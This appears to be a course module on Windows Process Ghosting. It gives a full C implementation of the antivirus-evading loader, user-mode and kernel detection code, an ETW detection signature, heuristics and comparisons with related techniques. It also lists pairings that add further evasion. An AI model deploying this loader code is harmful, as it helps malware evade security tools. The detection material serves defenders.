Module 8: Full Chain, Detection & Comparison
The complete Process Ghosting flow from end to end, detection strategies for defenders, and a final comparison with Doppelgänging and Herpaderping.
Module Objective
Consolidate the entire Process Ghosting technique into one complete reference, learn how defenders can detect ghosted processes using NtQueryInformationProcess, file object state inspection, ETW correlation, and behavioral heuristics, and deeply compare Ghosting with Doppelgänging and Herpaderping to understand each technique’s strengths and weaknesses.
1. The Complete Process Ghosting Chain
Here is the entire technique from start to finish, combining all the modules into a single reference:
// ============================================
// COMPLETE PROCESS GHOSTING IMPLEMENTATION
// ============================================
#include <windows.h>
#include <winternl.h>
bool ProcessGhost(
BYTE* payloadPE, DWORD payloadSize,
LPCWSTR ghostPath, // temp file path
LPCWSTR spoofedPath) // what appears in PEB
{
HANDLE hFile = NULL, hSection = NULL;
HANDLE hProcess = NULL, hThread = NULL;
IO_STATUS_BLOCK iosb = { 0 };
OBJECT_ATTRIBUTES objAttr = { 0 };
UNICODE_STRING ntPath;
NTSTATUS status;
// ==========================================
// PHASE 1: Create the ghost file (Module 4)
// ==========================================
RtlInitUnicodeString(&ntPath, ghostPath);
InitializeObjectAttributes(&objAttr, &ntPath,
OBJ_CASE_INSENSITIVE, NULL, NULL);
// Step 1a: Create empty file with exclusive access
status = NtCreateFile(&hFile,
GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
&objAttr, &iosb, NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SUPERSEDE, // create or replace
FILE_SYNCHRONOUS_IO_NONALERT,
NULL, 0);
if (!NT_SUCCESS(status)) return false;
// Step 1b: Mark delete-pending BEFORE writing
FILE_DISPOSITION_INFORMATION dispInfo = { TRUE };
status = NtSetInformationFile(hFile, &iosb,
&dispInfo, sizeof(dispInfo),
FileDispositionInformation);
if (!NT_SUCCESS(status)) {
NtClose(hFile); return false;
}
// Step 1c: Write malicious PE to the condemned file
LARGE_INTEGER offset = { 0 };
status = NtWriteFile(hFile, NULL, NULL, NULL,
&iosb, payloadPE, payloadSize,
&offset, NULL);
if (!NT_SUCCESS(status)) {
NtClose(hFile); return false;
}
// ==========================================
// PHASE 2: Create image section (Module 5)
// ==========================================
status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// Close file handle -> file deleted from disk
NtClose(hFile);
hFile = NULL;
if (!NT_SUCCESS(status)) return false;
// File is GONE. Section persists.
// ==========================================
// PHASE 3: Create process (Module 6)
// ==========================================
status = NtCreateProcessEx(&hProcess,
PROCESS_ALL_ACCESS, NULL,
NtCurrentProcess(), 0,
hSection, NULL, NULL, FALSE);
if (!NT_SUCCESS(status)) {
NtClose(hSection); return false;
}
// ==========================================
// PHASE 4: Setup process parameters
// ==========================================
// Get PEB address and entry point
PROCESS_BASIC_INFORMATION pbi = { 0 };
NtQueryInformationProcess(hProcess,
ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);
SECTION_IMAGE_INFORMATION imgInfo = { 0 };
NtQuerySection(hSection,
SectionImageInformation,
&imgInfo, sizeof(imgInfo), NULL);
// Create process parameters with spoofed path
UNICODE_STRING uImgPath, uCmdLine, uCurDir, uDllPath;
RtlInitUnicodeString(&uImgPath, spoofedPath);
RtlInitUnicodeString(&uCmdLine, spoofedPath);
RtlInitUnicodeString(&uCurDir,
L"C:\\Windows\\System32");
RtlInitUnicodeString(&uDllPath,
L"C:\\Windows\\System32");
PRTL_USER_PROCESS_PARAMETERS params = NULL;
RtlCreateProcessParametersEx(¶ms,
&uImgPath, &uDllPath, &uCurDir, &uCmdLine,
NULL, NULL, NULL, NULL, NULL,
RTL_USER_PROC_PARAMS_NORMALIZED);
// Allocate and write params into target process
PVOID remoteParams = params;
SIZE_T paramSize = params->MaximumLength +
params->EnvironmentSize;
NtAllocateVirtualMemory(hProcess, &remoteParams,
0, ¶mSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T written;
WriteProcessMemory(hProcess, remoteParams,
params, paramSize, &written);
// Update PEB->ProcessParameters
WriteProcessMemory(hProcess,
(PBYTE)pbi.PebBaseAddress +
offsetof(PEB, ProcessParameters),
&remoteParams, sizeof(PVOID), &written);
RtlDestroyProcessParameters(params);
// ==========================================
// PHASE 5: Create thread - process starts
// ==========================================
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)imgInfo.TransferAddress,
NULL, FALSE, 0, 0, 0, NULL);
NtClose(hSection);
if (!NT_SUCCESS(status)) {
NtTerminateProcess(hProcess, status);
NtClose(hProcess);
return false;
}
// GHOST PROCESS IS RUNNING
NtClose(hThread);
NtClose(hProcess);
return true;
}
2. Detection Strategy 1: NtQueryInformationProcess
The most direct detection method queries the process’s image file information and checks whether the backing file still exists:
// Detection: check if a process's image file exists
bool IsGhostedProcess(HANDLE hProcess)
{
// Query ProcessImageFileName
BYTE buffer[512];
ULONG retLen = 0;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessImageFileName, // returns NT path
buffer, sizeof(buffer), &retLen);
if (!NT_SUCCESS(status)) return false;
PUNICODE_STRING imagePath =
(PUNICODE_STRING)buffer;
// Try to open the file
HANDLE hFile;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, imagePath,
OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtOpenFile(&hFile,
FILE_READ_ATTRIBUTES | SYNCHRONIZE,
&objAttr, &iosb,
FILE_SHARE_READ | FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT);
if (status == STATUS_OBJECT_NAME_NOT_FOUND ||
status == STATUS_DELETE_PENDING) {
// SUSPICIOUS: Process's image file doesn't exist
// or is being deleted
return true;
}
if (NT_SUCCESS(status)) {
NtClose(hFile);
}
return false;
}
Detection Logic
For a normal process, ProcessImageFileName returns a valid path to a file that exists on disk. For a ghosted process, the path points to a file that has been deleted. Opening it fails with STATUS_OBJECT_NAME_NOT_FOUND. This is a strong indicator of ghosting (or similar tampering). However, false positives can occur if a legitimate executable was deleted after the process started (e.g., during an update).
3. Detection Strategy 2: File Object State Inspection
From a kernel driver, the FILE_OBJECT associated with the process’s section can be inspected directly:
// Kernel-mode detection: inspect section FILE_OBJECT
// (conceptual - requires kernel driver)
NTSTATUS DetectGhostedProcess(PEPROCESS Process)
{
PFILE_OBJECT fileObj = NULL;
PSECTION_OBJECT section = NULL;
// Get the process's image section
section = PsReferenceProcessImageSection(Process);
if (!section) return STATUS_UNSUCCESSFUL;
// Get the file object from the section's control area
fileObj = MmGetFileObjectForSection(section);
if (!fileObj) {
ObDereferenceObject(section);
return STATUS_NOT_FOUND; // no file object - suspicious
}
// Check the file object's delete disposition
// FILE_OBJECT.DeletePending or check via
// FsRtlIsFileDeletePending()
if (fileObj->DeletePending) {
// File is delete-pending - GHOSTING IN PROGRESS
return STATUS_GHOSTING_DETECTED;
}
// Check if the file still has a valid name
// in the filesystem
POBJECT_NAME_INFORMATION nameInfo = NULL;
NTSTATUS status = IoQueryFileDosDeviceName(
fileObj, &nameInfo);
if (!NT_SUCCESS(status)) {
// Cannot resolve file name - file likely deleted
return STATUS_GHOSTING_DETECTED;
}
ExFreePool(nameInfo);
ObDereferenceObject(section);
return STATUS_SUCCESS;
}
Kernel Driver Required
Direct file object inspection requires a kernel-mode driver. User-mode tools cannot directly access the FILE_OBJECT or CONTROL_AREA structures. However, user-mode detection via NtQueryInformationProcess (Strategy 1) is usually sufficient for identifying ghosted processes.
4. Detection Strategy 3: ETW Event Correlation
An ETW-based detection system can monitor for the specific sequence of operations that characterize Process Ghosting:
Ghosting Event Signature
| Order | ETW Event | Key Details |
|---|---|---|
| 1 | File Create | New file created (or superseded) with DELETE permission |
| 2 | File Set Info (Disposition) | FileDispositionInformation with DeleteFile = TRUE on a newly created file |
| 3 | File Write | Significant data written to the delete-pending file (PE-sized payload) |
| 4 | Section Create | NtCreateSection with SEC_IMAGE from the same file handle |
| 5 | File Close | Handle closed, triggering file deletion |
| 6 | Process Create | NtCreateProcessEx with the section from step 4 |
Finding this exact sequence within a short time window (typically under 1 second) on the same thread is a high-fidelity indicator of Process Ghosting.
// Pseudo-code for ETW-based ghosting detection
struct GhostingCandidate {
HANDLE fileHandle;
DWORD threadId;
ULONGLONG createTime;
bool hasDisposition;
bool hasWrite;
bool hasSection;
};
void OnFileCreate(FileCreateEvent* evt) {
if (evt->DesiredAccess & DELETE &&
evt->CreateDisposition == FILE_SUPERSEDE) {
// Potential ghosting: new file with DELETE access
AddCandidate(evt->FileHandle, evt->ThreadId);
}
}
void OnFileSetInfo(FileSetInfoEvent* evt) {
auto candidate = FindCandidate(evt->FileHandle);
if (candidate && evt->InfoClass == FileDispositionInformation) {
candidate->hasDisposition = true;
}
}
void OnSectionCreate(SectionCreateEvent* evt) {
auto candidate = FindCandidate(evt->FileHandle);
if (candidate && evt->Attributes & SEC_IMAGE) {
candidate->hasSection = true;
}
}
void OnProcessCreate(ProcessCreateEvent* evt) {
// Correlate with section handle from candidates
// If match found with all flags set -> ALERT
}
5. Detection Strategy 4: Behavioral Heuristics
| Heuristic | What to Look For | False Positive Risk |
|---|---|---|
| Missing image file | Running process whose ProcessImageFileName resolves to a non-existent file | Low (but updates can cause this temporarily) |
| Delete-pending image | Process creation notification where FileObject->DeletePending is TRUE | Very low |
| NT API usage pattern | Sequence of NtCreateFile → NtSetInformationFile → NtWriteFile → NtCreateSection → NtCreateProcessEx → NtCreateThreadEx from the same thread | Very low (no legitimate software does this) |
| Parent-child mismatch | Process claims to be svchost.exe but was not spawned by services.exe | Medium (depends on environment) |
| Image path vs PEB path | Kernel-reported image path differs from PEB ProcessParameters->ImagePathName | Low |
6. Deep Comparison: Ghosting vs Doppelgänging vs Herpaderping
Technique Comparison Matrix
| Criteria | Doppelgänging | Herpaderping | Ghosting |
|---|---|---|---|
| File manipulation | TxF transaction + rollback | Overwrite with benign content | Delete-pending + deletion |
| File on disk after | Original file (transaction rolled back) | File exists with benign content | No file at all |
| Windows API dependency | NtCreateTransaction, TxF APIs | Standard NT file APIs | Standard NT file APIs |
| Windows version support | Limited (TxF deprecated in Win10+) | Wide (Win10, Win11) | Wide (Win10, Win11) |
| Stability risk | High (TxF + minifilter conflicts = BSOD) | Low | Low |
| Forensic evidence | Minimal (transaction rolled back) | Benign file remains on disk | No file evidence on disk |
| Detection difficulty | Medium (TxF usage is rare and flagged) | Medium (file content mismatch detectable) | High (no file to compare against) |
| Kernel callback evasion | Good (file reverts) | Good (file shows benign) | Best (file does not exist) |
| Implementation complexity | High (TxF APIs) | Low (simple overwrite) | Low-Medium (delete-pending handling) |
7. Limitations and Caveats
What Ghosting Does NOT Do
- No memory evasion: The malicious PE is fully visible in the process’s virtual memory. Memory scanners that match signatures in process memory can still detect the payload.
- No import hiding: The process goes through normal loader initialization. EDR userland DLLs (hooks) are loaded normally. The process’s IAT and loaded modules are visible.
- No privilege escalation: The ghost process runs with the same privileges as the creating process.
- No network evasion: Once running, network connections from the ghost process are fully visible to EDR.
- Kernel driver detection is possible: A well-implemented kernel driver can detect the delete-pending file state during the
PsSetCreateProcessNotifyRoutineExcallback (which fires at first thread insertion viaNtCreateThreadEx) by inspecting theFileObjectdirectly.
Combining with Other Techniques
| Combined Technique | Additional Evasion |
|---|---|
| Ghosting + Sleep Obfuscation | Evades both file scanning and memory scanning during sleep |
| Ghosting + Syscall Unhooking | Removes EDR userland hooks in the ghost process |
| Ghosting + PPID Spoofing | Makes the ghost process appear to have a legitimate parent |
| Ghosting + Module Stomping | Hides the payload within a legitimate DLL’s memory |
| Ghosting + ETW Patching | Suppresses ETW events that could aid in detection |
8. Summary: The Full Picture
Process Ghosting in One Paragraph
Process Ghosting creates a temporary file, marks it for deletion (making it inaccessible to other processes), writes a malicious PE payload to it, creates a SEC_IMAGE section from the condemned file, closes the file handle (triggering actual deletion), and then creates a process from the persisted section. The result is a running process whose backing image file does not exist on disk. AV/EDR cannot scan the file at any inspection point because it is either empty, inaccessible (delete-pending), or deleted. Detection requires inspecting the process’s file object state from a kernel driver, correlating ETW events, or checking whether the process’s reported image file exists on disk.
Complete Ghosting Flow
Empty file
Delete-pending
Write PE
SEC_IMAGE
File deleted
Ghost runs
| Module | Topic | Key Takeaway |
|---|---|---|
| 1 | Process Creation Internals | Processes are created from section objects, not directly from files |
| 2 | PE Tampering Overview | Ghosting is the evolution of Hollowing → Doppelgänging → Herpaderping |
| 3 | File States & Delete-Pending | Delete-pending files are accessible to the handle owner but invisible to everyone else |
| 4 | Creating the Ghost File | Mark delete-pending BEFORE writing to prevent AV access to the payload |
| 5 | Section Mapping | Sections survive file deletion via kernel reference counting |
| 6 | Process & Thread Creation | NtCreateProcessEx + PEB setup + NtCreateThreadEx completes the ghost |
| 7 | AV/EDR Timing | At every inspection point, the file is empty, locked, or gone |
| 8 | Detection & Comparison | Detect via missing image file, file object state, or ETW correlation |
Knowledge Check
Q1: What is the simplest user-mode method to detect a ghosted process?
Q2: Which of the following is NOT a limitation of Process Ghosting?
Q3: What is the main advantage of Process Ghosting over Process Herpaderping?